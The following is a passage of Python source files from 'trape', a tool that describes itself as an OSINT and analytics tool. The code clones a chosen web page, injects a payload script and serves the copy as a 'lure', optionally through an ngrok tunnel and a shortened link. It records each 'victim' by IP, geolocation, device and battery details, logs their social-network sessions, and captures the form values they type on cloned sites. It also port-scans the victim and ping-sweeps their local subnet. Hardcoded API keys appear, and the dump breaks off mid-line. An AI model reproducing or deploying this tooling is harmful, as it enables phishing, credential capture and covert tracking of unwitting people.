-------------------------------------------------------------------------------- /core/trape.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | #** 4 | # 5 | ######### 6 | # trape # 7 | ######### 8 | # 9 | # trape depends of this file 10 | # For full copyright information this visit: https://github.com/jofpin/trape 11 | # 12 | # Copyright 2018 by Jose Pino (@jofpin) / 13 | #** 14 | import time 15 | import json 16 | from core.dependence import urllib2 17 | import httplib 18 | import argparse 19 | import socket 20 | import sys 21 | import os 22 | from core.utils import utils 23 | import subprocess 24 | import requests 25 | import hashlib, binascii 26 | from threading import Timer 27 | from multiprocessing import Process 28 | import atexit 29 | 30 | class Trape(object): 31 | def __init__(self, stat = 0): 32 | self.name_trape = "Trape" 33 | self.version = "2.0" 34 | self.stats_path = utils.generateToken(7) 35 | self.home_path = utils.generateToken(18) 36 | self.logout_path = utils.generateToken(6) 37 | self.remove_path = utils.generateToken(14) 38 | self.injectURL = utils.generateToken(12) + '.js' 39 | self.stats_key = utils.generateToken(24) 40 | self.date_start = time.strftime("%Y-%m-%d - %H:%M:%S") 41 | self.stat = stat 42 | self.localIp = '127.0.0.1' 43 | self.nGrokUrl = '' 44 | 45 | self.JSFiles = ({"path" : "base.js", "src" : utils.generateToken(12)},{"path" : "libs.min.js", "src" : utils.generateToken(12)},{"path" : "login.js", "src" : utils.generateToken(12)},{"path" : "payload.js", "src" : utils.generateToken(12)},{"path" : "trape.js", "src" : utils.generateToken(12)},{"path" : "vscript.js", "src" : utils.generateToken(12)},) 46 | self.CSSFiles = ({"path" : "/static/img/favicon.ico", "src" : utils.generateToken(12)},{"path" : "/static/img/favicon.png", "src" : utils.generateToken(12)},{"path" : "/static/css/base-icons.css", "src" : utils.generateToken(12)},{"path" : "/static/css/styles.css", "src" : utils.generateToken(12)},{"path" : "/static/css/normalize.min.css", "src" : utils.generateToken(12)},{"path": "/static/css/services-icons.css", "src" : utils.generateToken(12)},) 47 | 48 | if self.stat == 1: 49 | c = httplib.HTTPConnection('www.google.com', timeout=5) 50 | try: 51 | c.request("HEAD", "/") 52 | c.close() 53 | except Exception as e: 54 | c.close() 55 | utils.Go("\033[H\033[J") 56 | utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "NOTICE: " + utils.Color['white'] + "Trape needs Internet connection for working" + "\n\t") 57 | sys.exit(0) 58 | 59 | if (not(os.path.exists("trape.config"))): 60 | self.trape_config() 61 | try: 62 | config_trape = json.load(open("trape.config")) 63 | except Exception as error: 64 | os.remove('trape.config') 65 | self.trape_config() 66 | 67 | self.ngrok = config_trape['ngrok_token'] 68 | self.gmaps = config_trape['gmaps_api_key'] 69 | if self.gmaps == '': 70 | self.gmaps = 'AIzaSyA30wEa2DwUuddmNTHvoprhnrB2w_aCWbs' 71 | self.googl = config_trape['gshortener_api_key'] 72 | if self.googl == '': 73 | self.googl = 'AIzaSyDHMDTOGo9L1OBl5vRxOVM6vpXOXVp5jCc' 74 | 75 | parser = argparse.ArgumentParser("python trape.py -u <> -p <>", version=self.version) 76 | parser.add_argument('-u', '--url', dest='url', help='Put the web page url to clone') 77 | parser.add_argument('-p', '--port', dest='port', help='Insert your port') 78 | parser.add_argument('-ak', '--accesskey', dest='accesskey', help='Insert your custom key access') 79 | parser.add_argument('-l', '--local', dest='local', help='Insert your home file') 80 | parser.add_argument('-n', '--ngrok', dest='ngrok', help='Insert your ngrok Authtoken', action='store_true') 81 | parser.add_argument('-ic', '--injectcode', dest='injc', help='Insert your custom REST API path') 82 | parser.add_argument('-ud', '--update', dest='update', action='store_true', default=False, help='Update trape to the latest version') 83 | 84 | options = parser.parse_args() 85 | 86 | self.type_lure = 'global' 87 | 88 | # Check current updates 89 | 90 | if options.update: 91 | utils.Go("\033[H\033[J") 92 | utils.Go("Updating..." + " " + utils.Color['blue'] + "trape" + utils.Color['white'] + "..." + "\n") 93 | subprocess.check_output(["git", "reset", "--hard", "origin/master"]) 94 | subprocess.check_output(["git", "pull"]) 95 | utils.Go("Trape Updated... Please execute again...") 96 | sys.exit(0) 97 | 98 | if options.url is None: 99 | utils.Go("\033[H\033[J") 100 | utils.Go("----------------------------------------------") 101 | utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] +" {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + "Osint and analytics tool" + " " + "<" +utils.Color['white']) 102 | utils.Go("----------------------------------------------") 103 | utils.Go("| v" + utils.Color['redBold'] + "2.0" + utils.Color['white'] + " |") 104 | utils.Go("--------" + "\n") 105 | utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['greenBold'] + "!" + utils.Color['whiteBold'] + "]" + " " + utils.Color['white'] + "Enter the information requested below to complete the execution" + utils.Color['white']) 106 | utils.Go("") 107 | 108 | options.url = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter a URL to generate the lure" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) 109 | 110 | if options.port is None: 111 | options.port = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your port to generate the server?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) 112 | 113 | while utils.checkPort(int(options.port)) == False: 114 | utils.Go("\033[H\033[J") 115 | utils.Go("----------------------------------------------") 116 | utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] +" {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + "Osint and analytics tool" + " " + "<" +utils.Color['white']) 117 | utils.Go("----------------------------------------------") 118 | utils.Go("\n") 119 | utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR:" + " " + utils.Color['whiteBold'] + "The port: " + options.port + utils.Color['white'] + " " + "is not available, It was previously used (" + utils.Color['yellow'] + "Use another port" + utils.Text['end'] + ")" + "\n\n") 120 | options.port = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your port to generate the server?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) 121 | 122 | #while utils.checkUrl(str(options.url)) == False: 123 | options.url = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter a URL to generate the lure" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) 124 | 125 | 126 | utils.Go("") 127 | utils.Go(utils.Color['greenBold'] + "-" + utils.Color['white'] + " Successful " + utils.Color['greenBold'] + "startup" + utils.Color['white'] + ", get lucky on the way!" + utils.Color['white']) 128 | utils.Go("") 129 | time.sleep(0.1) 130 | 131 | 132 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 133 | s.connect(("8.8.8.8", 80)) 134 | self.localIp = s.getsockname()[0] 135 | 136 | self.app_port = int(options.port) 137 | self.url_to_clone = str(options.url) 138 | if self.url_to_clone[0:4] != 'http': 139 | self.url_to_clone = 'http://' + self.url_to_clone 140 | self.victim_path = options.url.replace("http://", "").replace("https://", "") 141 | 142 | if (options.ngrok or (self.ngrok != "")): 143 | if self.ngrok == '': 144 | utils.Go("\033[H\033[J") 145 | self.ngrok = raw_input("What is your nGrok token?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) 146 | if (self.ngrok != ''): 147 | from core.ngrok import ngrok 148 | import os.path as path 149 | 150 | v_ngrok = ngrok(self.ngrok, self.app_port, stat, self.stats_path) 151 | else: 152 | utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + " " + utils.Color['white'] + "Your nGrok authtoken can't be empty") 153 | 154 | # Custom name of REST API 155 | if (options.injc): 156 | self.injectURL = options.injc 157 | 158 | # Custom access token 159 | if (options.accesskey): 160 | self.stats_key = options.accesskey 161 | 162 | 163 | # Design principal of the header of trape 164 | def header(self): 165 | if self.stat == 1: 166 | # Principal header of tool 167 | utils.banner() 168 | 169 | # Update verification 170 | changeLog = requests.get("https://raw.githubusercontent.com/jofpin/trape/master/version.txt", timeout = 4) 171 | changeLog = changeLog.text.split(" ")[1] 172 | changeLog = changeLog.strip() 173 | if changeLog != self.version: 174 | utils.Go(utils.Color['white'] + "\t" + utils.Color['yellowBold'] + "@" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['whiteBold'] + " " + "UPDATES:" + " " + utils.Color['yellowBold'] + "NEW VERSION IS AVAILABLE: " + utils.Color['white'] + "v" + utils.Color['redBold'] + changeLog + utils.Color['white'] + " " + "(install changes)") 175 | utils.Go("") 176 | else: 177 | utils.Go(utils.Color['white'] + "\t" + utils.Color['yellowBold'] + "@" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['whiteBold'] + " " + "UPDATES:" + " " + utils.Color['greenBold'] + "RUNNING RECENT VERSION" + utils.Color['white']) 178 | utils.Go("") 179 | 180 | # Local information vars 181 | utils.Go(utils.Color['white'] + "\t" + utils.Color['whiteBold'] + "LOCAL INFORMATION" + utils.Text['end']) 182 | utils.Go("\t" + "-------------------") 183 | utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Lure for the users: " + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.victim_path) 184 | utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your REST API path: " + utils.Color['blue'] + 'http://' + self.localIp + ':' + str(self.app_port) + '/' + self.injectURL + utils.Color['white']) 185 | utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Control Panel Link: " + utils.Color['blue'] + "http://127.0.0.1:" + utils.Color['blue'] + str(self.app_port) + '/' + self.stats_path) 186 | utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your Access key: " + utils.Color['blue'] + self.stats_key + utils.Color['white']) 187 | utils.Go("") 188 | if self.ngrok != '': 189 | if self.googl == '': 190 | self.googl = 'AIzaSyCPzcppCT27KTHnxAIQvYhtvB_l8sKGYBs' 191 | try: 192 | opener = urllib2.build_opener() 193 | time.sleep(1.5) 194 | fileLog = open(self.stats_path + '.nlog', 'r') 195 | log = fileLog.read().replace('\n', '').replace(' ', '') 196 | pLog = log.find('127.0.0.1:') + 10 197 | pLog = int(log[pLog:pLog+4]) 198 | fileLog.close() 199 | os.remove(self.stats_path + '.nlog') 200 | ngrokStatus = str(opener.open('http://127.0.0.1:' + str(pLog) + '/api/tunnels').read()).replace('\n', '').replace(' ', '') 201 | time.sleep(0.5) 202 | ngrokUrlPos = ngrokStatus.find('ngrok.io') 203 | if ngrokUrlPos <= 0: 204 | time.sleep(4) 205 | ngrokStatus = str(opener.open('http://127.0.0.1:' + str(pLog) + '/api/tunnels').read()).replace('\n', '').replace(' ', '') 206 | ngrokUrlPos = ngrokStatus.find('ngrok.io') 207 | if ngrokUrlPos >= 0: 208 | ngrokStatus = ngrokStatus[ngrokUrlPos-25:ngrokUrlPos+28] 209 | ngrokUrlPos = ngrokStatus.find('http') 210 | ngrokUrlPos2 = ngrokStatus.find('.io') 211 | ngrokStatus = ngrokStatus[ngrokUrlPos: ngrokUrlPos2] + '.io' 212 | utils.Go(utils.Color['white'] + "\t" + utils.Color['whiteBold'] + "PUBLIC INFORMATION" + utils.Text['end']) 213 | utils.Go("\t" + "-------------------") 214 | r = utils.gShortener(self.googl, ngrokStatus.replace('https', 'http') + '/' + self.victim_path) 215 | gooGl = json.loads(r._content) 216 | if r.status_code == 200: 217 | utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Link shortened lure: " + utils.Color['blue'] + gooGl['id'] + utils.Color['white'] + " " + "(share)") 218 | else: 219 | utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + " gooGl " + utils.Color['white'] + gooGl['error']['errors'][0]['reason']) 220 | self.nGrokUrl = ngrokStatus.replace('https', 'http') 221 | utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Public lure: " + utils.Color['blue'] + self.nGrokUrl + '/' + self.victim_path + utils.Color['white']) 222 | utils.Go(utils.Color['white'] + "\t" + utils.Color['yellow'] + ">" + utils.Color['white'] + "-" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Control Panel link: " + utils.Color['blue'] + ngrokStatus.replace('https', 'http') + '/' + self.stats_path + utils.Color['white']) 223 | 224 | else: 225 | utils.Go(utils.Color['red'] + "\t" + utils.Color['green'] + "-" + utils.Color['white'] + "--" + utils.Color['red'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " We can't connect with nGrok " + utils.Color['white']) 226 | except Exception as e: 227 | utils.Go(utils.Color['white'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "ERROR: " + " " + utils.Color['white'] + e.message) 228 | utils.Go(utils.Color['red'] + "\t" + utils.Color['green'] + "-" + utils.Color['white'] + "--" + utils.Color['red'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " We can't connect with nGrok " + utils.Color['white']) 229 | utils.Go("\n" + utils.Color['white']) 230 | utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + ">" + utils.Color['white'] + "]" + utils.Color['whiteBold'] + " " + "Start time:" + " " + utils.Color['white'] + self.date_start) 231 | utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "?" + utils.Color['white'] + "]" + utils.Color['white'] + " " + "Do not forget to close " + self.name_trape + ", after use. Press Control C" + " " + utils.Color['white'] + '\n') 232 | utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "¡" + utils.Color['white'] + "]" + utils.Color['white'] + " " + "Waiting for the users to fall..." + "\n") 233 | 234 | # Important: in the process of use is possible that will ask for the root 235 | def rootConnection(self): 236 | pass 237 | 238 | # Detect operating system, to compose the compatibility 239 | def loadCheck(self): 240 | utils.checkOS() 241 | 242 | # the main file (trape.py) 243 | def main(self): 244 | import core.sockets 245 | 246 | # Create config file 247 | def trape_config(self): 248 | utils.Go("\033[H\033[J") 249 | utils.Go("----------------------------------------------------------") 250 | utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] +" {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + "Configuration zone to use the software" + " " + "<" + utils.Color['white']) 251 | utils.Go("----------------------------------------------------------") 252 | utils.Go("| v" + utils.Color['redBold'] + "2.0" + utils.Color['white'] + " |") 253 | utils.Go("--------" + "\n") 254 | utils.Go(utils.Color['whiteBold'] + "GENERAL CONFIG" + utils.Color['white']) 255 | utils.Go("------") 256 | utils.Go("Through this section you will configure the resources required \nfor an effective function of trape, please complete the following steps, below. \nKeep in mind that if the data is incorrect this tool will not work." + utils.Color['white']) 257 | utils.Go("") 258 | utils.Go(utils.Color['whiteBold'] + "NGROK TOKEN" + utils.Color['white']) 259 | utils.Go("------") 260 | utils.Go("In the next section you must enter your Ngrok token, if you do not have \none register at (" + utils.Color['blueBold'] + "https://ngrok.com" + utils.Color['white'] + "), this data is necessary for the generation of public network tunnels.") 261 | utils.Go("") 262 | c_nGrokToken = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter your ngrok token" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) 263 | utils.Go("") 264 | utils.Go(utils.Color['whiteBold'] + "GOOGLE API" + utils.Color['white']) 265 | utils.Go("------") 266 | utils.Go("You must register with the " + utils.Color['blueBold'] + "Google Console" + utils.Color['white'] + ", and get an API for maps and another for shortening. \nBy having these data you complete the settings") 267 | utils.Go("") 268 | c_gMapsToken = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your Google Maps Api Key?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) 269 | c_gOoglToken = raw_input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter your Goo.gl (shortener) Api Key (leave it empty if you don't have)" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) 270 | utils.Go("") 271 | utils.Go(utils.Color['greenBold'] + "-" + utils.Color['white'] + " Congratulations! " + utils.Color['greenBold'] + "Successful configuration" + utils.Color['white'] + ", now enjoy Trape!" + utils.Color['white']) 272 | utils.Go("") 273 | time.sleep(0.4) 274 | if (c_nGrokToken != '' and c_gMapsToken != ''): 275 | v = '{\n\t"ngrok_token" : "' + c_nGrokToken + '",\n\t"gmaps_api_key" : "' + c_gMapsToken + '",\n\t"gshortener_api_key" : "' + c_gOoglToken + '"\n\t}' 276 | f = open ('trape.config', 'w') 277 | f.write(v) 278 | f.close() 279 | else: 280 | self.trape_config() 281 | 282 | def injectCSS_Paths(self, code): 283 | code = code.replace("[FAVICON_HREF]", self.CSSFiles[0]['src']) 284 | code = code.replace("[FAVICON_PNG_HREF]",self.CSSFiles[1]['src']) 285 | code = code.replace("[BASE_ICONS_HREF]", self.CSSFiles[2]['src']) 286 | code = code.replace("[STYLES_HREF]", self.CSSFiles[3]['src']) 287 | code = code.replace("[NORMALIZE_HREF]", self.CSSFiles[4]['src']) 288 | code = code.replace("[SERVICES_ICONS_HREF]", self.CSSFiles[5]['src']) 289 | return code 290 | 291 | # Autocompletion of console 292 | if "nt" in os.name: 293 | pass 294 | else: 295 | import readline 296 | readline.parse_and_bind("tab:complete") 297 | readline.set_completer(utils.niceShell) 298 | -------------------------------------------------------------------------------- /core/user.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | #** 4 | # 5 | ######### 6 | # trape # 7 | ######### 8 | # 9 | # trape depends of this file 10 | # For full copyright information this visit: https://github.com/jofpin/trape 11 | # 12 | # Copyright 2018 by Jose Pino (@jofpin) / 13 | #** 14 | import time 15 | from core.dependence import urllib2 16 | from flask import Flask, render_template, session, request, json, Response 17 | from core.user_objects import * 18 | import core.stats 19 | from core.utils import utils 20 | from core.db import Database 21 | import os 22 | import sys 23 | import platform 24 | from multiprocessing import Process 25 | """ 26 | from bs4 import BeautifulSoup 27 | from urlparse import urlparse 28 | import lxml 29 | """ 30 | 31 | # Main parts, to generate relationships among others 32 | trape = core.stats.trape 33 | app = core.stats.app 34 | 35 | # call database 36 | db = Database() 37 | 38 | class victim_server(object): 39 | @app.route("/" + trape.victim_path) 40 | def homeVictim(): 41 | opener = urllib2.build_opener() 42 | headers = victim_headers(request.user_agent) 43 | opener.addheaders = headers 44 | """ 45 | clone_html = opener.open(trape.url_to_clone).read() 46 | soup = BeautifulSoup(clone_html, 'lxml') 47 | parsed_uri = urlparse(trape.url_to_clone) 48 | domain = '{uri.scheme}://{uri.netloc}/'.format(uri=parsed_uri) 49 | for s in soup.find_all('script'): 50 | url = s.get('src') 51 | if url is not None: 52 | if url.startswith('/'): 53 | clone_html = clone_html.replace(url, domain + url) 54 | for css in soup.find_all('link'): 55 | url = css.get('href') 56 | if url is not None: 57 | if url.startswith('/'): 58 | clone_html = clone_html.replace(url, domain + url) 59 | 60 | for img in soup.find_all('img'): 61 | url = img.get('src') 62 | if url is not None: 63 | if url.startswith('/'): 64 | clone_html = clone_html.replace(url, domain + url) 65 | """ 66 | if (trape.type_lure == 'local'): 67 | html = assignScripts(victim_inject_code(render_template("/" + trape.url_to_clone), 'payload', '/', trape.gmaps)) 68 | else: 69 | html = assignScripts(victim_inject_code(opener.open(trape.url_to_clone).read(), 'payload', trape.url_to_clone, trape.gmaps)) 70 | return html 71 | 72 | @app.route("/register", methods=["POST"]) 73 | def register(): 74 | vId = request.form['vId'] 75 | if vId == '': 76 | vId = utils.generateToken(5) 77 | 78 | victimConnect = victim(vId, request.environ['REMOTE_ADDR'], request.user_agent.platform, request.user_agent.browser, request.user_agent.version, utils.portScanner(request.environ['REMOTE_ADDR']), request.form['cpu'], time.strftime("%Y-%m-%d - %H:%M:%S")) 79 | victimGeo = victim_geo(vId, 'city', request.form['countryCode'], request.form['country'], request.form['query'], request.form['lat'], request.form['lon'], request.form['org'], request.form['region'], request.form['regionName'], request.form['timezone'], request.form['zip'], request.form['isp'], str(request.user_agent), request.form['refer']) 80 | 81 | vRA = request.environ['REMOTE_ADDR'] 82 | 83 | gHA = Process(target=getHostsAlive, args=(vRA, vId,)) 84 | gHA.start() 85 | 86 | utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " A " + utils.Color['whiteBold'] + "user" + utils.Color['white'] + " has been connected from " + utils.Color['blue'] + victimGeo.ip + utils.Color['white'] + ' with the following identifier: ' + utils.Color['green'] + vId + utils.Color['white']) 87 | cant = int(db.sentences_victim('count_times', vId, 3, 0)) 88 | 89 | db.sentences_victim('insert_click', [vId, trape.url_to_clone, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) 90 | db.sentences_victim('delete_networks', [vId], 2) 91 | 92 | if cant > 0: 93 | utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " " + "It\'s the " + str(cant + 1) + " time for " + utils.Color['green'] + str(vId) + utils.Color['white'] + "@" + utils.Color['blue'] + victimGeo.ip + utils.Color['white']) 94 | db.sentences_victim('update_victim', [victimConnect, vId, time.time()], 2) 95 | db.sentences_victim('update_victim_geo', [victimGeo, vId], 2) 96 | else: 97 | utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "*" + utils.Color['white'] + "]" + " " + "It\'s the first time for " + utils.Color['green'] + str(vId) + utils.Color['white'] + "@" + utils.Color['blue'] + victimGeo.ip + utils.Color['white']) 98 | db.sentences_victim('insert_victim', [victimConnect, vId, time.time()], 2) 99 | db.sentences_victim('insert_victim_data', [vId], 2) 100 | db.sentences_victim('insert_victim_battery', [vId], 2) 101 | db.sentences_victim('insert_victim_geo', [victimGeo, vId], 2) 102 | return json.dumps({'status' : 'OK', 'vId' : vId}) 103 | 104 | @app.route("/nr", methods=["POST"]) 105 | def networkRegister(): 106 | vId = request.form['vId'] 107 | vIp = request.form['ip'] 108 | vnetwork = request.form['red'] 109 | if vId == '': 110 | vId = utils.generateToken(5) 111 | 112 | cant = int(db.sentences_victim('count_victim_network', [vId, vnetwork], 3, 0)) 113 | 114 | if cant > 0: 115 | db.sentences_victim('update_network', [vId, vnetwork, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) 116 | else: 117 | db.sentences_victim('insert_networks', [vId, vIp, request.environ['REMOTE_ADDR'], vnetwork, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) 118 | utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "+" + utils.Color['white'] + "]" + utils.Color['whiteBold'] + " " + vnetwork + utils.Color['white'] + " session detected from " + utils.Color['blue'] + vIp + utils.Color['white'] + ' ' + "with ID: " + utils.Color['green'] + vId + utils.Color['white']) 119 | return json.dumps({'status' : 'OK', 'vId' : vId}) 120 | 121 | @app.route("/lr", methods=["POST"]) 122 | def locationRegister(): 123 | vId = request.form['vId'] 124 | lat = request.form['lat'] 125 | lon = request.form['lon'] 126 | 127 | db.sentences_victim('location_victim', [vId, lat, lon], 2) 128 | return json.dumps({'status' : 'OK', 'vId' : vId}) 129 | 130 | @app.route("/lc", methods=["POST"]) 131 | def connectionRegister(): 132 | vId = request.form['vId'] 133 | con = request.form['con'] 134 | host = request.form['host'] 135 | 136 | db.sentences_victim('connection_victim', [vId, con, host], 2) 137 | return json.dumps({'status' : 'OK', 'vId' : vId}) 138 | 139 | @app.route("/bs", methods=["POST"]) 140 | def batteryStatusRegister(): 141 | vId = request.form['id'] 142 | b_data = request.form['d'] 143 | b_type = request.form['t'] 144 | 145 | db.sentences_victim('update_battery', [vId, b_data, b_type], 2) 146 | return json.dumps({'status' : 'OK', 'vId' : vId}) 147 | 148 | @app.route("/nm", methods=["POST"]) 149 | def navigationMode(): 150 | vId = request.form['id'] 151 | b_data = request.form['d'] 152 | b_data_2 = request.form['dn'] 153 | 154 | db.sentences_victim('update_navigationmode', [vId, b_data, b_data_2], 2) 155 | return json.dumps({'status' : 'OK', 'vId' : vId}) 156 | 157 | @app.route("/rv") 158 | def redirectVictim(): 159 | url = request.args.get('url') 160 | if url[0:4] != 'http': 161 | url = 'http://' + url 162 | opener = urllib2.build_opener() 163 | headers = victim_headers(request.user_agent) 164 | opener.addheaders = headers 165 | html = assignScripts(victim_inject_code(opener.open(url).read(), 'vscript', url, trape.gmaps)) 166 | return html 167 | 168 | @app.route("/regv", methods=["POST"]) 169 | def registerRequest(): 170 | vrequest = victim_request(request.form['vId'], request.form['site'], request.form['fid'], request.form['name'], request.form['value'], request.form['sId']) 171 | db.sentences_victim('insert_requests', [vrequest, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) 172 | utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "=" + utils.Color['white'] + "]" + " " + 'Receiving data from: ' + utils.Color['green'] + vrequest.id + utils.Color['white'] + ' ' + 'on' + ' ' + utils.Color['blue'] + vrequest.site + utils.Color['white'] + '\t\n' + vrequest.fid + '\t' + vrequest.name + ':\t' + vrequest.value) 173 | return json.dumps({'status' : 'OK', 'vId' : vrequest.id}) 174 | 175 | @app.route("/tping", methods=["POST"]) 176 | def receivePiregisterGPUng(): 177 | vrequest = request.form['id'] 178 | db.sentences_victim('report_online', [vrequest], 2) 179 | db.sentences_victim('update_lastping', [vrequest, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) 180 | return json.dumps({'status' : 'OK', 'vId' : vrequest}) 181 | 182 | @app.route("/cIp", methods=["POST"]) 183 | def changeLocalIp(): 184 | vrequest = request.form['id'] 185 | vIp = request.form['ip'] 186 | db.sentences_victim('update_localIp', [vrequest, vIp], 2) 187 | return json.dumps({'status' : 'OK', 'vId' : vrequest}) 188 | 189 | @app.route("/gGpu", methods=["POST"]) 190 | def setGpuInfo(): 191 | vId = request.form['vId'] 192 | vData = request.form['data'] 193 | db.sentences_victim('update_gpu', [vId, vData], 2) 194 | return json.dumps({'status' : 'OK', 'vId' : vId}) 195 | 196 | 197 | def getHostsAlive(ip, vId): 198 | hDB = Database() 199 | try: 200 | hDB.sentences_victim('delete_hostalive', vId, 2) 201 | split_ip = ip.split('.') 202 | net = split_ip[0] + '.' + split_ip[1] + '.' + split_ip[2] + '.' 203 | if ip != '127.0.0.1': 204 | if (platform.system()=='Windows'): 205 | ping = 'ping -n 1 -w 5' 206 | else: 207 | ping = 'ping -c 1 -t 3' 208 | for sub_net in range(1, 255): 209 | address = net + str(sub_net) 210 | response = os.popen(ping + ' ' + address) 211 | for line in response.readlines(): 212 | if ('time=' in line.lower()): 213 | lPos = line.find('time=') 214 | tmpLine = line[lPos+5:lPos+15] 215 | lPos = tmpLine.find('ms') 216 | tmpLine = tmpLine[0:lPos+2] 217 | 218 | hDB.sentences_victim('register_hostalive', [vId, address, tmpLine, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) 219 | break 220 | else: 221 | hDB.sentences_victim('register_hostalive', [vId, 'OWN HOST', 0, time.strftime("%Y-%m-%d - %H:%M:%S")], 2) 222 | except ValueError: 223 | pass 224 | 225 | def assignScripts(code): 226 | code = code.replace("base.js", trape.JSFiles[0]['src']) 227 | code = code.replace("libs.min.js",trape.JSFiles[1]['src']) 228 | code = code.replace("login.js", trape.JSFiles[2]['src']) 229 | code = code.replace("payload.js", trape.JSFiles[3]['src']) 230 | code = code.replace("trape.js", trape.JSFiles[4]['src']) 231 | code = code.replace("vscript.js", trape.JSFiles[5]['src']) 232 | return code -------------------------------------------------------------------------------- /core/user_objects.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | #** 4 | # 5 | ######### 6 | # trape # 7 | ######### 8 | # 9 | # trape depends of this file 10 | # For full copyright information this visit: https://github.com/jofpin/trape 11 | # 12 | # Copyright 2018 by Jose Pino (@jofpin) / 13 | #** 14 | class victim(object): 15 | def __init__(self, vId, ip, device, browser, version, ports, cpu, date): 16 | self.vId = vId 17 | self.ip = ip 18 | self.device = device 19 | self.browser = browser 20 | self.version = version 21 | self.ports = ports 22 | self.cpu = cpu 23 | self.date = date 24 | 25 | class victim_geo(object): 26 | def __init__(self, id, city, country_code, country_name, ip, latitude, longitude, metro_code, region_code, region_name, time_zone, zip_code, isp, ua, refer): 27 | self.id = id 28 | self.city = city 29 | self.country_code = country_code 30 | self.country_name = country_name 31 | self.ip = ip 32 | self.latitude = latitude 33 | self.longitude = longitude 34 | self.metro_code = metro_code 35 | self.region_code = region_code 36 | self.region_name = region_name 37 | self.time_zone = time_zone 38 | self.zip_code = zip_code 39 | self.isp = isp 40 | self.ua = ua 41 | self.refer = refer 42 | 43 | class victim_request(object): 44 | def __init__(self, id, site, fid, name, value, sId): 45 | self.id = id 46 | self.site = site 47 | self.fid = fid 48 | self.name = name 49 | self.value = value 50 | self.sId = sId 51 | 52 | def victim_headers(ua): 53 | return [ ("User-Agent", ua), 54 | ("Content-Type", "text/html; 